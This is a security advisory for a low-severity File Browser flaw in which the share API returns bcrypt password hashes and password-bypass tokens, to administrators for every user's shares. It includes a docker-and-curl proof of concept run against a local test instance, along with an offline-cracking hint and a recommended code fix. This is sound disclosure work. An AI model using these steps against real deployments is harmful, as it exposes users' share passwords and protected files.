GHSA-833g-cqhp-h72j CVE-2026-62684 GO-2026-6025
File Browser: Share API exposes the password hash and bypass token
- Severity
- 2.7 / 10
- Low · CVSS 3.1
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.57% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-522 Insufficiently Protected Credentials
- Fix
2.63.17- Upgrade github.com/filebrowser/filebrowser/v2 to this version or later
Description
Summary
When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.
Details
1. The Link struct serializes both secrets to JSON (share/share.go:10-19)
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed
// Token is only set when PasswordHash is set; it bypasses the password.
Token string `json:"token,omitempty"` // line 19, bypass token exposed
}
omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.
2. The share handlers return the full struct through unfiltered json.Marshal
sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.
3. Administrators receive every user's secrets (http/share.go:36)
s, err = d.store.Share.All() // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s) // including each share's password_hash and token
An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.
PoC
Tested against filebrowser/filebrowser:v2.63.15.
Attack Vector: read the bcrypt hash and bypass token from the share API:
#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
-d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'
#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"
The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:
POST /api/share/user1/readme.txt -> 200
GET /api/shares -> 200
{
"hash": "yy9159Cs",
"path": "/user1/readme.txt",
"userID": 1,
"expire": 1781758642,
"password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
"token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}
The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.
Impact
- Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
- Password-bypass token leak: the
tokenis the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. - Admin sees everyone's secrets:
GET /api/sharesas an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. - Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.
Recommended Fix
Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:
// share/share.go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"-" storm:"index"` // never serialize
Token string `json:"-"` // never serialize in list responses
}
PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | all versions |
No fix yet |
| github.com/filebrowser/filebrowser/v2 | < 2.63.17 |
2.63.17 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/filebrowser/filebrowser/v2 Go → 2.63.17
- go
go get github.com/filebrowser/filebrowser/v2@v2.63.17 && go mod tidy
Severity breakdown
CVSS 3.1 2.7
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-522: Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
How to prevent it
- Architecture and Design: Use an appropriate security mechanism to protect the credentials.
- Architecture and Design: Make appropriate use of cryptography to protect the credentials.
- Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-83xp-526h-j3ww File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-7rc3-g7h6-22m7 File Browser: Colliding username normalization gives two users the same home directory | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-8wc8-hf36-mjh9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-fmm7-x4gx-8jhr File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-xqp3-jq6g-x3qm File Browser: Authentication Bypass via Proxy Auth Header Forgery | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-m93h-4hw7-5qcm File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE) | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-8c9q-7855-wfxq File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-j9jx-hp4c-ghhh File Browser has incorrect access control for public directory shares via rule path rebasing | High | Also affects github.com/filebrowser/filebrowser |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor